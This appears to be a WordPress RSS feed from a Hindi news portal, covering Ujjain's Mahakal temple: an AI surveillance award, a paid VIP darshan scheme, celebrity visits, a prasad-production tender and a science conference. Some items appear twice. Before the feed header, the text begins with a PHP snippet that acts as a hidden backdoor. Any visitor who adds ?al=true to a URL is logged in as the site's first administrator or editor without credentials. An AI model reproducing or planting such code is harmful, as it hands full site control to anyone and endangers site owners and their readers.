// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); mahakal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 महाकाल मंदिर के ‘त्रिनेत्र’ का देशभर में डंका, AI निगरानी प्रणाली को मिलेगा ई-गवर्नेंस अवार्ड https://pratyushaashakinayikiran.com/?p=225046 Sat, 06 Jun 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=225046 उज्जैन
उज्जैन में स्थित विश्व प्रसिद्ध महाकाल मंदिर में श्रद्धालुओं की सुरक्षा और भीड़ प्रबंधन के लिए विकसित की गई कृत्रिम बुद्धिमत्ता (AI) आधारित वीडियो सर्विलांस प्रणाली ‘त्रिनेत्र’ को राष्ट्रीय स्तर पर बड़ी उपलब्धि हासिल हुई है। केंद्रीय कार्मिक, लोक शिकायत एवं पेंशन मंत्रालय द्वारा घोषित 29वें राष्ट्रीय ई-गवर्नेंस पुरस्कारों की सूची में महाकाल मंदिर की इस अत्याधुनिक प्रणाली का चयन किया गया है।

यह सम्मान मंदिर प्रबंधन द्वारा तकनीक के माध्यम से सुरक्षा, निगरानी और व्यवस्थाओं को सुदृढ़ बनाने की दिशा में किए गए नवाचारों की महत्वपूर्ण पहचान माना जा रहा है।

बढ़ती श्रद्धालु संख्या के बीच बना सुरक्षा का मजबूत कवच
अक्टूबर 2022 में श्रीमहाकाल महालोक के लोकार्पण के बाद उज्जैन आने वाले श्रद्धालुओं की संख्या में अभूतपूर्व वृद्धि दर्ज की गई है। वर्तमान में प्रतिदिन 80 हजार से लेकर एक लाख तक श्रद्धालु महाकाल मंदिर पहुंच रहे हैं। वहीं श्रावण मास, पर्व-त्योहारों, विशेष तिथियों और अवकाश के दिनों में यह संख्या कई गुना बढ़ जाती है।

इतनी बड़ी संख्या में आने वाले श्रद्धालुओं की सुरक्षा और सुचारु दर्शन व्यवस्था सुनिश्चित करना मंदिर प्रशासन के लिए बड़ी चुनौती बन गया था। इसी चुनौती से निपटने के लिए मंदिर प्रबंध समिति ने आधुनिक तकनीक का सहारा लेते हुए एआई आधारित वीडियो सर्विलांस सिस्टम विकसित किया, जिसे ‘त्रिनेत्र’ नाम दिया गया।

AI तकनीक से हो रही हर गतिविधि की निगरानी
‘त्रिनेत्र’ प्रणाली मंदिर परिसर में स्थापित कैमरों और आर्टिफिशियल इंटेलिजेंस तकनीक की मदद से भीड़ के मूवमेंट, सुरक्षा संबंधी गतिविधियों और संभावित जोखिमों पर लगातार नजर रखती है। इससे भीड़ नियंत्रण, आपात स्थिति में त्वरित प्रतिक्रिया और सुरक्षा प्रबंधन को अधिक प्रभावी बनाया गया है।

मंदिर प्रशासन का मानना है कि इस तकनीक ने न केवल श्रद्धालुओं की सुरक्षा को मजबूत किया है, बल्कि व्यवस्थाओं को भी अधिक व्यवस्थित और पारदर्शी बनाने में महत्वपूर्ण भूमिका निभाई है।

डिजिटल नवाचार का राष्ट्रीय स्तर पर सम्मान
राष्ट्रीय ई-गवर्नेंस अवार्ड के लिए चयन महाकाल मंदिर में लागू डिजिटल नवाचारों की सफलता का प्रमाण माना जा रहा है। यह उपलब्धि न केवल मंदिर प्रशासन के लिए गौरव का विषय है, बल्कि धार्मिक स्थलों पर तकनीक आधारित प्रबंधन मॉडल को भी नई पहचान दिलाने वाली है।

ऐसे काम करता है सिस्टम
    इसके तहत ज्योतिर्लिंग महाकाल मंदिर और श्री महाकाल महालोक परिसर में 600 से अधिक एडवांस एआइ आधारित कैमरे लगाए गए हैं।

    सभी कैमरों को खास कंट्रोल रूम से जोड़ा गया है। यहां से सुरक्षाकर्मी और अधिकारी रियल-टाइम मॉनिटरिंग करते हैं।

    यह सिस्टम श्रद्धालुओं की संख्या की सटीक जानकारी, भीड़ वाले क्षेत्र और प्रतिबंधित क्षेत्रों में हो रही गतिविधियों का पता लगाता है।

    सिस्टम से प्राप्त सटीक जानकारी से अधिकारी भीड़ प्रबंधन और सुरक्षा के लिए बेहतर कदम उठा पाते हैं।

 

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उज्जैन काल भैरव मंदिर में अब VIP दर्शन की सुविधा, 500 रुपये शुल्क पर मिलेगी विशेष एंट्री https://pratyushaashakinayikiran.com/?p=220975 Wed, 20 May 2026 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=220975 उज्जैन 
मध्यप्रदेश के उज्जैन में राजाधिराज महाकाल के कोतवाल बाबा कालभैरव मंदिर में अब प्रोटोकॉल दर्शन के लिए श्रद्धालुओं को 500 रुपए शुल्क चुकाना होगा। नई व्यवस्था बुधवार 20 मई से लागू की जा रही है। शुल्क जमा करने वाले श्रद्धालुओं को विशेष व्यवस्था के तहत गर्भगृह तक ले जाया जाएगा, जहां वे पुजारी के माध्यम से बाबा कालभैरव को मदिरा का भोग अर्पित कर दर्शन कर सकेंगे।

500 रुपये बाबा कालभैरव के VIP दर्शन

मंदिर प्रशासन के अनुसार, श्रद्धालुओं को 500 रुपए की अधिकृत रसीद दी जाएगी। इसके बाद उन्हें सामान्य कतार से अलग गर्भगृह तक पहुंचाया जाएगा। श्रद्धालु अपने साथ लाई मदिरा पुजारी को सौंपेंगे और उनके सामने ही बाबा को भोग लगाया जाएगा। यह शुल्क महाकाल के विभिन्न दर्शन शुल्क के मुकाबले दोगुना है।

प्रतिदिन पहुंचते हैं हजारों श्रद्धालु
कालभैरव मंदिर में प्रतिदिन करीब 50 से 60 हजार श्रद्धालु दर्शन के लिए पहुंचते हैं। वहीं पर्व और त्योहारों पर यह संख्या एक लाख से अधिक हो जाती है। प्रशासन का कहना है कि श्रद्धालुओं की बढ़ती संख्या और प्रोटोकॉल दर्शन की मांग को देखते हुए यह व्यवस्था शुरू की जा रही है।

महाकाल मंदिर की तर्ज पर शुरू हुई व्यवस्था
महाकाल मंदिर में पहले से ही विभिन्न दर्शन और आरती व्यवस्थाएं सशुल्क संचालित हैं। भस्म आरती में प्रवेश के लिए प्रति श्रद्धालु 200 रुपए शुल्क लिया जाता है। वहीं संध्या और शयन आरती के लिए 250 रुपए ऑनलाइन शुल्क निर्धारित है। शीघ्र दर्शन व्यवस्था भी 250 रुपए में उपलब्ध है। इसी तर्ज पर अब कालभैरव मंदिर में भी प्रोटोकॉल दर्शन की सुविधा लागू की गई है, हालांकि शुल्क दोगुना रखा गया है।

सीमित संख्या में रहेगी शुरुआत
प्रोटोकॉल से आने वाले श्रद्धालुओं की सुविधा को ध्यान में रखते हुए फिलहाल सीमित संख्या में यह व्यवस्था शुरू की जा रही है। वरिष्ठ अधिकारियों के स्तर पर आगे इसकी समीक्षा कर व्यवस्था को और सुचारू बनाने पर निर्णय लिया जाएगा।

संध्या मार्कण्डेय, प्रशासक, कालभैरव मंदिर

बाहरी तत्वों पर कसेगी लगाम
फिलहाल वीआइपी प्रोटोकॉल वाले श्रद्धालुओं के लिए व्यवस्था लागू की है। यह इसलिए किया जा रहा है, ताकि बाहरी तत्वों के चुंगल में फंसकर ये श्रद्धालु वैसे ही रुपए देकर गर्भगृह तक पहुंच रहे थे, तो यह राशि इस तरह से अब मंदिर की आय का स्रोत बनेगी। सामान्य श्रद्धालुओं के लिए व्यवस्था नि:शुल्क है।

एलएन गर्ग, एसडीएम

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महाकाल की भक्ति में लीन दिखीं तमन्ना भाटिया: त्रिपुण्ड लगाकर भस्म आरती में हुईं शामिल https://pratyushaashakinayikiran.com/?p=218920 Tue, 12 May 2026 13:26:00 +0000 https://pratyushaashakinayikiran.com/?p=218920 उज्जैन

साउथ और बॉलीवुड इंडस्ट्री की मशहूर अभिनेत्री तमन्ना भाटिया मंगलवार तड़के श्री महाकालेश्वर मंदिर पहुंचीं। उन्होंने भगवान महाकाल की भस्म आरती में शामिल होकर बाबा का आशीर्वाद लिया।

तड़के करीब 3 बजे मंदिर पहुंचीं तमन्ना भाटिया नंदी हाल में बैठकर भक्ति भाव से भस्म आरती में शामिल हुईं। इस दौरान वे मस्तक पर चंदन लगाए पूरी तरह बाबा महाकाल की भक्ति में लीन नजर आईं। करीब दो घंटे तक उन्होंने भस्म आरती का दिव्य नजारा देखा।

आरती के बाद अभिनेत्री ने नंदीजी का पूजन-अभिषेक किया और नंदी के कान में अपनी मनोकामना कही। इसके बाद चांदी द्वार से भगवान महाकाल को पुजारी के हाथों जल अर्पित कर आशीर्वाद लिया।

भस्म आरती के बाद तमन्ना ने कहा, आज भगवान ने मुझे बुलाया था। बाबा महाकाल के बुलावे पर ही भक्त यहां आते हैं। यहां आकर बहुत अच्छा लगा। आज जो आरती देखने को मिली, उसे शब्दों में बयां नहीं कर सकती। आरती में शामिल होकर बहुत ऊर्जा मिलती है। सब लोग एक साथ बैठकर जिस तरह आरती देखते हैं, ऐसा दृश्य कहीं और देखने को नहीं मिलता।

मंदिर परिसर में अभिनेत्री की एक झलक पाने के लिए श्रद्धालुओं में उत्साह नजर आया। भस्म आरती के दौरान सुरक्षा व्यवस्था भी विशेष रूप से बढ़ाई गई थी।

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महाकाल मंदिर का प्रसिद्ध लड्डू अब हाईटेक मशीन से बनेगा, 40 करोड़ का टेंडर जारी, गड़बड़ी पर 50 लाख तक का जुर्माना https://pratyushaashakinayikiran.com/?p=216074 Fri, 01 May 2026 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=216074 उज्जैन
 विश्व प्रसिद्ध महाकालेश्वर मंदिर में मिलने वाला लड्डू प्रसाद अब पूरी तरह हाईटेक होने जा रहा है। सिंहस्थ 2028 को देखते हुए मंदिर समिति ने अत्याधुनिक मशीनों से लड्डू तैयार करने की दिशा में बड़ा कदम उठाया है। खास बात यह है कि महाकाल मंदिर देश का पहला ऐसा मंदिर है जिसके लड्डू प्रसाद को FSSAI की 5 स्टार रेटिंग मिल चुकी है।

उज्जैन स्थित श्री महाकालेश्वर मंदिर में प्रतिदिन हजारों श्रद्धालु लड्डू प्रसाद ग्रहण करते हैं। सामान्य दिनों में करीब 50 क्विंटल और विशेष पर्वों पर 100 क्विंटल तक लड्डू प्रसाद की खपत होती है। बढ़ती मांग और आगामी सिंहस्थ महापर्व 2028 को ध्यान में रखते हुए मंदिर समिति अब आधुनिक तकनीक के जरिए प्रसाद निर्माण को नई दिशा देने जा रही है। मंदिर समिति ने करीब 40 करोड़ रुपए का टेंडर जारी किया है। जिसके तहत फुली ऑटोमेटिक मशीनों के माध्यम से लड्डू प्रसाद तैयार किया जाएगा। नई यूनिट त्रिवेणी संग्रहालय के पास बने अन्नक्षेत्र परिसर में स्थापित की गई है। जिसका निर्माण लगभग 20 करोड़ रुपए की लागत से किया गया है।

मंदिर समिति के अनुसार मशीनों के उपयोग से लड्डुओं की एक जैसी सिकाई होगी। गुणवत्ता में एकरूपता आएगी और उत्पादन क्षमता भी कई गुना बढ़ेगी। इससे सिंहस्थ के दौरान आने वाले करोड़ों श्रद्धालुओं को बेहतर और स्वच्छ प्रसाद उपलब्ध कराया जा सकेगा।

उप प्रशासक सिम्मी यादव ने बताया कि टेंडर में गुणवत्ता को लेकर सख्त नियम तय किए गए हैं। आवेदन वही फर्म कर सकेगी जिसके पास कम से कम 3 साल का खाद्य निर्माण अनुभव हो। साथ ही FSSAI और ISO 22000 प्रमाणन अनिवार्य होगा।

लड्डुओं की शेल्फ लाइफ कम से कम 15 दिन रखना भी जरूरी किया गया है। वहीं गुणवत्ता में लापरवाही पाए जाने पर 25 लाख रुपए तक का जुर्माना लगाया जाएगा। घटिया सामग्री उपयोग करने पर 5 लाख और वजन कम पाए जाने पर 2 लाख रुपए तक की पेनल्टी का प्रावधान रखा गया है।

मंदिर समिति का कहना है कि प्रसाद की शुद्धता और स्वाद बनाए रखने के लिए शुद्ध घी, रागी, चना दाल, काजू-किशमिश सहित तय मानकों के अनुसार सामग्री का उपयोग किया जाएगा। धार्मिक आस्था और आधुनिक तकनीक के इस संगम को सिंहस्थ 2028 की तैयारियों में एक बड़े नवाचार के रूप में देखा जा रहा है।

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बाबा महाकाल के दर पहुंचे एक्ट्रेस जानकी बोदीवाला, नंदी महाराज के कानों में कहि मनोकामना https://pratyushaashakinayikiran.com/?p=213981 Thu, 23 Apr 2026 11:26:00 +0000 https://pratyushaashakinayikiran.com/?p=213981 उज्जैन 
 अजय देवगन की फिल्म 'शैतान' से हिंदी फिल्मों में कदम रखने वाली अभिनेत्री जानकी बोदीवाला ने बुधवार को उज्जैन पहुंचकर विश्व प्रसिद्ध महाकालेश्वर के दर्शन करने पहुंची। अभिनेत्री ने नंदी हॉल से बाबा महाकाल की भस्म आरती और पूजन में भाग लिया। भस्म के दौरान हजारों की संख्या में भक्त मौजूद रहे और पूरा मंदिर परिसर ओम नमः पार्वती पतये हर हर महादेव के उद्घोष से गूंज उठा। मुख्य रूप से गुजराती सिनेमा में सक्रिय अभिनेत्री जानकी बोदीवाला बाबा महाकाल के दर पर भक्ति के रंग में रंगी नजर आई। नंदी मंडपम के पास बैठकर उन्होंने बाबा का ध्यान किया और नंदी महाराज के गानों में अपनी मनोकामना कही। दर्शन के बाद अभिनेत्री ने कहा, "बाबा महाकाल के दर्शन के अनुभव को शब्दों में बयां कर पाना नामुमकिन है क्योंकि यह भावना हमारे मन के भीतर होती है। आज बहुत अच्छे से दर्शन हुए और मैं उन सभी लोगों को धन्यवाद करती हूं, जिन्होंने इतने अच्छे दर्शन कराने में हमारी मदद की। बाबा से यही कामना है कि वो बार-बार अपने दर पर बुलाते रहें।"

जानकी ने अपने करियर की शुरुआत ब्लॉकबस्टर गुजराती फिल्म 'छेलो दिवस' से की थी, जिसके बाद उन्होंने 'नाड़ी दोष' जैसी कई सफल फिल्में दीं। हाल ही में उन्होंने अजय देवगन के साथ बॉलीवुड फिल्म 'शैतान' में अपनी दमदार एक्टिंग से देशभर में पहचान बनाई है। सिनेमा और ओटीटी प्लेटफॉर्म पर सक्रिय जानकी बाबा का आशीर्वाद लेकर बेहद अभिभूत दिखीं।

बता दें कि अभिनेत्री ने पहले गुजराती फिल्म वश में काम किया, जिसमें उनकी एक्टिंग को खूब सराहा गया। इसी फिल्म का रीमेक बॉलीवुड में 'शैतान' के नाम से बना और शैतान में भी जानकी को ही बतौर लीड कास्ट किया गया, जो एक वशीकरण से पीड़ित लड़की है। गुजराती फिल्म वश का दूसरा सीक्वल 'वश लेवल-2' भी साल 2025 में रिलीज हो चुका है। इस फिल्म ने भी सिनेमा पर गहरी छाप छोड़ी। फिल्म का डायरेक्शन कृष्णदेव याग्निक ने किया और फिल्म में जानकी के अलावा, हितू कनोडिया, हितेन कुमार और मोनल गज्जर ने अहम रोल्स किए हैं।

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महाकाल के दर पर एक्टर मिलिन्द सोमन और क्रिकेटर नीतीश राणा, बाबा से किया दिल की बात का खुलासा https://pratyushaashakinayikiran.com/?p=212163 Tue, 14 Apr 2026 07:55:00 +0000 https://pratyushaashakinayikiran.com/?p=212163 उज्जैन 
 मंगलवार तड़के एक्टर मिलिंद सोमन व क्रिकेटर नीतीश राणा महाकालेश्वर मंदिर उज्जैन पहुंचे. मिलिंद सोमन व नीतीश राणा दोनों ही अपनी पत्नी के साथ भस्म आरती में शामिल हुए. मिलिंद सोमन के साथ उनकी पत्नी अंकिता कोंवर व क्रिकेटर नीतीश राणा के साथ उनकी पत्नी सांची मारवाह ने महाकाल का आशीर्वाद लिया। 

भस्म आरती में भावुक नजर आए मिलिंद सोमन
फिल्म अभिनेता मिलिंद सोमन भस्म आरती के दौरन काफी भावुक नजर आए और लगातार महाकाल का जाप करते हुए दिखे. तड़के 2 बजे से भस्त आरती की तैयारियां शुरू हो गई थी, जिसके साथ ही मिलिंद सोमन व नीतीश राणा भी नंदी हॉल पहुंच गए। 

यहां दोनों को पुजारियों ने गर्भग्रह स्थित सभी देवी देवताओं का पूजन कर जलाभिषेक कराया. इसके बाद भगवान का दूध, दही,घी, शक्कर व फलों के रस से अभिषेक करवाया गया और फिर भगवान को भस्म रमाकर भस्म आरती की शुरुआत हुई। 

'बाबा का बुलावा आ ही गया'
मिलिंद व नीतीश लगभग 2 घंटों तक नंदी हाल में बैठे रहे. आरती पूर्ण होने के बाद उन्होंने बाबा महाकाल के दरबार में माथा टेककर दर्शन किए. इसके बाद राघव पुजारी के माध्यम से भगवान को जल अर्पित किया. दर्शन के बाद मीडिया से चर्चा करते हुए अभिनेता मिलिन्द सोमन ने कहा, '' खुशी की बात है कि यहां आने का मौका मिला, यहां आकर मन को बहुत शांति मिली है. हम लंबे समय से सोच रहे थे कि महाकाल के दर पर आना है, बहुत सालों से ऐसी आशा थी कि हम आएंगे लेकिन कहते हैं कि जब तक बुलावा नहीं आता है, तब तक नही आ सकते हैं. अब बुलावा आ गया है. इनके (पत्नी) के कारण हम आए हैं, ये मेरी धर्म पत्नी हैं, इन्होंने कहा था कि हम जाएंगे. यहा आकर बहुत-बहुत अच्छा लगा, सबका बहुत-बहुत धन्यवाद. जय महाकाल''

क्रिकेटर नीतीश राणा ने किया जल अभिषेक
इस दौरा क्रिकेटर नीतिश राणा ने भी पत्नी संग विधि विधान से महाकाल का पूजन किया और पुजारियों के माध्यम से महादेव का जल अभिषेक किया. नीतीश काफी देर तक नंदी हॉल में बैठकर मंत्रजाप करते भी नजर आए. महाकाल मंदिर में हर दिन लाखों की तादाद में आम जनता के साथ-साथ सिलेब्रिटीज, क्रिकेटर, राजनेता समेत देश-दुनिया की तमाम हस्तियां दर्शन के लिए पहुंचती हैं। 

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महाकाल के दर पर एक्टर मिलिन्द सोमन और क्रिकेटर नीतीश राणा, बाबा से किया दिल की बात का खुलासा https://pratyushaashakinayikiran.com/?p=212164 Tue, 14 Apr 2026 07:55:00 +0000 https://pratyushaashakinayikiran.com/?p=212164 उज्जैन 
 मंगलवार तड़के एक्टर मिलिंद सोमन व क्रिकेटर नीतीश राणा महाकालेश्वर मंदिर उज्जैन पहुंचे. मिलिंद सोमन व नीतीश राणा दोनों ही अपनी पत्नी के साथ भस्म आरती में शामिल हुए. मिलिंद सोमन के साथ उनकी पत्नी अंकिता कोंवर व क्रिकेटर नीतीश राणा के साथ उनकी पत्नी सांची मारवाह ने महाकाल का आशीर्वाद लिया। 

भस्म आरती में भावुक नजर आए मिलिंद सोमन
फिल्म अभिनेता मिलिंद सोमन भस्म आरती के दौरन काफी भावुक नजर आए और लगातार महाकाल का जाप करते हुए दिखे. तड़के 2 बजे से भस्त आरती की तैयारियां शुरू हो गई थी, जिसके साथ ही मिलिंद सोमन व नीतीश राणा भी नंदी हॉल पहुंच गए। 

यहां दोनों को पुजारियों ने गर्भग्रह स्थित सभी देवी देवताओं का पूजन कर जलाभिषेक कराया. इसके बाद भगवान का दूध, दही,घी, शक्कर व फलों के रस से अभिषेक करवाया गया और फिर भगवान को भस्म रमाकर भस्म आरती की शुरुआत हुई। 

'बाबा का बुलावा आ ही गया'
मिलिंद व नीतीश लगभग 2 घंटों तक नंदी हाल में बैठे रहे. आरती पूर्ण होने के बाद उन्होंने बाबा महाकाल के दरबार में माथा टेककर दर्शन किए. इसके बाद राघव पुजारी के माध्यम से भगवान को जल अर्पित किया. दर्शन के बाद मीडिया से चर्चा करते हुए अभिनेता मिलिन्द सोमन ने कहा, '' खुशी की बात है कि यहां आने का मौका मिला, यहां आकर मन को बहुत शांति मिली है. हम लंबे समय से सोच रहे थे कि महाकाल के दर पर आना है, बहुत सालों से ऐसी आशा थी कि हम आएंगे लेकिन कहते हैं कि जब तक बुलावा नहीं आता है, तब तक नही आ सकते हैं. अब बुलावा आ गया है. इनके (पत्नी) के कारण हम आए हैं, ये मेरी धर्म पत्नी हैं, इन्होंने कहा था कि हम जाएंगे. यहा आकर बहुत-बहुत अच्छा लगा, सबका बहुत-बहुत धन्यवाद. जय महाकाल''

क्रिकेटर नीतीश राणा ने किया जल अभिषेक
इस दौरा क्रिकेटर नीतिश राणा ने भी पत्नी संग विधि विधान से महाकाल का पूजन किया और पुजारियों के माध्यम से महादेव का जल अभिषेक किया. नीतीश काफी देर तक नंदी हॉल में बैठकर मंत्रजाप करते भी नजर आए. महाकाल मंदिर में हर दिन लाखों की तादाद में आम जनता के साथ-साथ सिलेब्रिटीज, क्रिकेटर, राजनेता समेत देश-दुनिया की तमाम हस्तियां दर्शन के लिए पहुंचती हैं। 

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उज्जैन में 3 से 5 अप्रैल को होगा अंतर्राष्ट्रीय सम्मेलन महाकाल: द मास्टर ऑफ टाइम https://pratyushaashakinayikiran.com/?p=209188 Tue, 31 Mar 2026 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=209188 उज्जैन में 3 से 5 अप्रैल को होगा अंतर्राष्ट्रीय सम्मेलन “महाकाल: द मास्टर ऑफ टाइम”

प्राचीन ज्ञान परंपरा और आधुनिक अंतरिक्ष विज्ञान पर होगा वैश्विक मंथन
मुख्यमंत्री डॉ. यादव सम्मेलन में होंगे शामिल
उज्जैन

मुख्यमंत्री डॉ. मोहन यादव आगामी 3 अप्रैल को उज्जैन में आयोजित अंतर्राष्ट्रीय सम्मेलन “महाकाल: द मास्टर ऑफ टाइम” के उद्घाटन सत्र में शामिल होंगे। यह सम्मेलन 3 से 5 अप्रैल तक उज्जैन के समीप डोंगला में होगा। सम्मेलन का उद्घाटन उज्जैन स्थित तारामंडल परिसर में होगा। कार्यक्रम में केंद्रीय शिक्षा मंत्री धर्मेन्द्र प्रधान मुख्य अतिथि के रूप में उपस्थित रहेंगे।

बाबा महाकाल की पावन नगरी उज्जैन, जो प्राचीन काल से समय गणना और खगोल विज्ञान की वैश्विक धुरी रही है, एक बार फिर अंतरराष्ट्रीय स्तर पर वैज्ञानिक और बौद्धिक संगम का केंद्र बनेगी। भारतीय ज्ञान परंपरा और आधुनिक अंतरिक्ष विज्ञान के समन्वय पर केंद्रित यह सम्मेलन देश-विदेश के वैज्ञानिकों, खगोलविदों, शिक्षाविदों, शोधार्थियों तथा अंतरिक्ष क्षेत्र के विशेषज्ञों को एक साझा मंच प्रदान करेगा। कार्यक्रम में साइंस सेंटर का उद्घाटन भी किया जाएगा। साथ ही यूएवी (अनमैन्ड एरियल व्हीकल) एवं आरसी (रिमोट कंट्रोल) और सैटेलाइट मेकिंग (उपग्रह निर्माण) विषयों पर विशेष कार्यशालाएं आयोजित की जाएंगी, जो युवाओं में तकनीकी कौशल, नवाचार क्षमता तथा अंतरिक्ष विज्ञान के प्रति रुचि को प्रोत्साहित करेंगी।

तीन दिवसीय कार्यक्रम मध्यप्रदेश विज्ञान एवं प्रौद्योगिकी परिषद, भारतीय ज्ञान परंपरा प्रकोष्ठ (शिक्षा मंत्रालय, भारत सरकार) और विज्ञान भारती के संयुक्त तत्वावधान में आयोजित किया जा रहा है। सह-आयोजक संस्थाओं में भारतीय राष्ट्रीय विज्ञान अकादमी, भारतीय प्रौद्योगिकी संस्थान इंदौर, वीर भारत न्यास और दत्तोपंत ठेंगड़ी शोध संस्थान कार्यक्रम की सह-आयोजक संस्थाएं हैं।

डोंगला का ऐतिहासिक एवं वैज्ञानिक महत्व

उज्जैन से लगभग 35 किलोमीटर दूर स्थित डोंगला प्राचीन काल से खगोल एवं ज्योतिषीय दृष्टि से अत्यंत महत्वपूर्ण स्थान रहा है। कर्क रेखा के यहां से गुजरने के कारण इसे काल गणना का प्रमुख केंद्र माना जाता है। सम्मेलन में उज्जैन-डोंगला को वैश्विक मेरिडियन (मध्यान रेखा) के रूप में स्थापित करने की संभावनाओं पर भी चर्चा की जाएगी।

इन प्रमुख विषयों पर होगा विचार-विमर्श

सम्मेलन में आधुनिक विज्ञान और भारतीय ज्ञान परंपरा के समन्वय से जुड़े विषयों पर विचार-विमर्श किया जाएगा। प्रमुख विषयों में विकसित भारत में स्पेस इकोनॉमी की भूमिका, खगोल विज्ञान, एस्ट्रोफिजिक्स एवं कॉस्मोलॉजी की नवीनतम तकनीक, भारतीय काल गणना पद्धति का वैज्ञानिक आधार, कालचक्र की अवधारणा और स्पेस सेक्टर से जुड़ी रणनीतियां शामिल हैं।

विविध कार्यक्रम होंगे आयोजन के आकर्षण

तीन दिवसीय सम्मेलन में मुख्य व्याख्यान, उच्च स्तरीय पैनल चर्चा, तकनीकी सत्र, ओपन सेशन, टेक्नोलॉजी एक्सपो, स्टार्टअप कॉन्फ्रेंस, डोंगला वेधशाला का भ्रमण, कार्यशालाएं, पुस्तक विमोचन, प्रदर्शनी और सांस्कृतिक कार्यक्रम आयोजित किए जाएंगे।

डॉ. विक्रम साराभाई के विज़न को मिलेगा विस्तार

उज्जैन प्राचीन काल से समय मापन का प्रमुख केंद्र रहा है। महान खगोलविद आचार्य वराहमिहिर ने उज्जैन को खगोलीय गणनाओं का आधार बनाया था। यहां विकसित कालचक्र की अवधारणा आज भी आधुनिक खगोल विज्ञान को प्रेरित करती है। यह सम्मेलन डॉ. विक्रम साराभाई के उस विज़न को आगे बढ़ाने की दिशा में भी महत्वपूर्ण कदम है, जिसमें भारत को अंतरिक्ष विज्ञान के क्षेत्र में अग्रणी बनाने की परिकल्पना की गई थी।

उज्जैन को वैश्विक टाइम स्केल सेंटर बनाने की पहल

मुख्यमंत्री डॉ. यादव के नेतृत्व में मध्यप्रदेश स्पेस टेक्नोलॉजी और नवाचार के क्षेत्र में निरंतर आगे बढ़ रहा है। राज्य सरकार उज्जैन को पुनः वैश्विक “टाइम स्केल सेंटर” के रूप में स्थापित करने की दिशा में कार्य कर रही है। साथ ही आधुनिक साइंस सेंटर और प्रस्तावित साइंस सिटी के माध्यम से युवाओं में वैज्ञानिक दृष्टिकोण को प्रोत्साहित किया जा रहा है।

सिंहस्थ-2028 की तैयारियों को मिलेगा बल

उज्जैन आगामी सिंहस्थ-2028 की तैयारियाँ भव्य रूप कर रहा है। सम्मेलन में इसरो, सीएसआईआर, डीआरडीओ, नीति आयोग सहित देश-विदेश के प्रमुख शैक्षणिक एवं शोध संस्थानों के प्रतिनिधियों की सहभागिता प्रस्तावित है।

 

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उज्जैन में 3 से 5 अप्रैल को होगा अंतर्राष्ट्रीय सम्मेलन महाकाल: द मास्टर ऑफ टाइम https://pratyushaashakinayikiran.com/?p=209189 Tue, 31 Mar 2026 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=209189 उज्जैन में 3 से 5 अप्रैल को होगा अंतर्राष्ट्रीय सम्मेलन “महाकाल: द मास्टर ऑफ टाइम”

प्राचीन ज्ञान परंपरा और आधुनिक अंतरिक्ष विज्ञान पर होगा वैश्विक मंथन
मुख्यमंत्री डॉ. यादव सम्मेलन में होंगे शामिल
उज्जैन

मुख्यमंत्री डॉ. मोहन यादव आगामी 3 अप्रैल को उज्जैन में आयोजित अंतर्राष्ट्रीय सम्मेलन “महाकाल: द मास्टर ऑफ टाइम” के उद्घाटन सत्र में शामिल होंगे। यह सम्मेलन 3 से 5 अप्रैल तक उज्जैन के समीप डोंगला में होगा। सम्मेलन का उद्घाटन उज्जैन स्थित तारामंडल परिसर में होगा। कार्यक्रम में केंद्रीय शिक्षा मंत्री धर्मेन्द्र प्रधान मुख्य अतिथि के रूप में उपस्थित रहेंगे।

बाबा महाकाल की पावन नगरी उज्जैन, जो प्राचीन काल से समय गणना और खगोल विज्ञान की वैश्विक धुरी रही है, एक बार फिर अंतरराष्ट्रीय स्तर पर वैज्ञानिक और बौद्धिक संगम का केंद्र बनेगी। भारतीय ज्ञान परंपरा और आधुनिक अंतरिक्ष विज्ञान के समन्वय पर केंद्रित यह सम्मेलन देश-विदेश के वैज्ञानिकों, खगोलविदों, शिक्षाविदों, शोधार्थियों तथा अंतरिक्ष क्षेत्र के विशेषज्ञों को एक साझा मंच प्रदान करेगा। कार्यक्रम में साइंस सेंटर का उद्घाटन भी किया जाएगा। साथ ही यूएवी (अनमैन्ड एरियल व्हीकल) एवं आरसी (रिमोट कंट्रोल) और सैटेलाइट मेकिंग (उपग्रह निर्माण) विषयों पर विशेष कार्यशालाएं आयोजित की जाएंगी, जो युवाओं में तकनीकी कौशल, नवाचार क्षमता तथा अंतरिक्ष विज्ञान के प्रति रुचि को प्रोत्साहित करेंगी।

तीन दिवसीय कार्यक्रम मध्यप्रदेश विज्ञान एवं प्रौद्योगिकी परिषद, भारतीय ज्ञान परंपरा प्रकोष्ठ (शिक्षा मंत्रालय, भारत सरकार) और विज्ञान भारती के संयुक्त तत्वावधान में आयोजित किया जा रहा है। सह-आयोजक संस्थाओं में भारतीय राष्ट्रीय विज्ञान अकादमी, भारतीय प्रौद्योगिकी संस्थान इंदौर, वीर भारत न्यास और दत्तोपंत ठेंगड़ी शोध संस्थान कार्यक्रम की सह-आयोजक संस्थाएं हैं।

डोंगला का ऐतिहासिक एवं वैज्ञानिक महत्व

उज्जैन से लगभग 35 किलोमीटर दूर स्थित डोंगला प्राचीन काल से खगोल एवं ज्योतिषीय दृष्टि से अत्यंत महत्वपूर्ण स्थान रहा है। कर्क रेखा के यहां से गुजरने के कारण इसे काल गणना का प्रमुख केंद्र माना जाता है। सम्मेलन में उज्जैन-डोंगला को वैश्विक मेरिडियन (मध्यान रेखा) के रूप में स्थापित करने की संभावनाओं पर भी चर्चा की जाएगी।

इन प्रमुख विषयों पर होगा विचार-विमर्श

